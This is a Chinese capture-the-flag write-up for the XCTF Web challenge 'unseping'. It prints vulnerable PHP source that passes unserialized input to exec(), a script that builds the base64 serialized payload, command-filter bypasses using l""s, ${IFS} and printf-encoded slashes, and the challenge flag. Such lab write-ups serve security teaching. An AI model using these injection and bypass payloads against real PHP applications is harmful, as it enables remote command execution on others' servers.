攻防世界-Web-unseping

知识点

1.php反序列化

2.命令执行绕过

步骤

打开网站,是php代码,审计。

php 复制代码
<?php
highlight_file(__FILE__);

class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) { //初始化
        $this->method = $method;
        $this->args = $args;
    }
 
    function __destruct(){ 
        if (in_array($this->method, array("ping"))) { //判断method是否存在ping
            call_user_func_array(array($this, $this->method), $this->args); //调用method,参数为args
        }
    } 
 
    function ping($ip){
        exec($ip, $result); //执行ip,结果为result,并输出
        var_dump($result);
    }

    function waf($str){ //过滤函数,过滤了,/,cat,flag等
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
 
    function __wakeup(){ //调用waf,反序列化时调用
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}

$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

综上,post接受ctf数据,将method为ping,参数为要执行的命令,并绕过waf。

注意:这里的参数是数组,因为在__wakeup中foreach是k,v的形式。

1.基本反序列化代码

php 复制代码
<?php

class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
 
    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 
 
    function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }

    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
 
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}

$a = new ease('ping',array('ls')); 
$b = serialize($a);
echo($b);
echo(base64_encode($b));
?>

2.绕过ls

使用l""s或者l''s

3.绕过空格

使用${IFS}

4.绕过/

使用$(printf "\57")

flag{de2e33ce-fdfe-4132-87ba-3b97d641a9f7}

相关推荐
sbjdhjd9 小时前
从签名重放到 Agent Harness:一堂安全课程如何把前端逆向、MCP 与工程约束串起来
网络安全·ai·github·agent·webshell·mcp·harness
持敬chijing1 天前
白盒测试与代码审计-js登录逆向实战
javascript·网络·安全·web安全·网络安全·网络攻击模型
ShineWinsu1 天前
对于JavaScript:JavaScript基础语法的解析
开发语言·前端·javascript·面试·web·基础语法·循环
南棋网络安全1 天前
ssrf跨站请求伪造(保姆级教程)
运维·服务器·网络·网络安全
hengdonghui1 天前
Writeup 4 ByteMe CTF 2026 The Vormir Ledger
ctf·osint
科技象限1 天前
数据防泄漏系统:文件是怎么溜出门的,就该怎么堵
运维·网络·网络安全·安企神
听说6661 天前
信息安全工程师 - 第二十二章 网站安全需求分析与安全保护工程
网络·安全·web安全·网络安全·系统安全
alwaysrun1 天前
Web之wasm-pack详解
前端·rust·web·wasm
白帽攻防录1 天前
SRC 挖洞:PowerPoint 四个 RCE,预览窗格怎么变成零点击入口
网络安全·powerpoint·文档安全
misty youth1 天前
前端知识速查
前端·react.js·web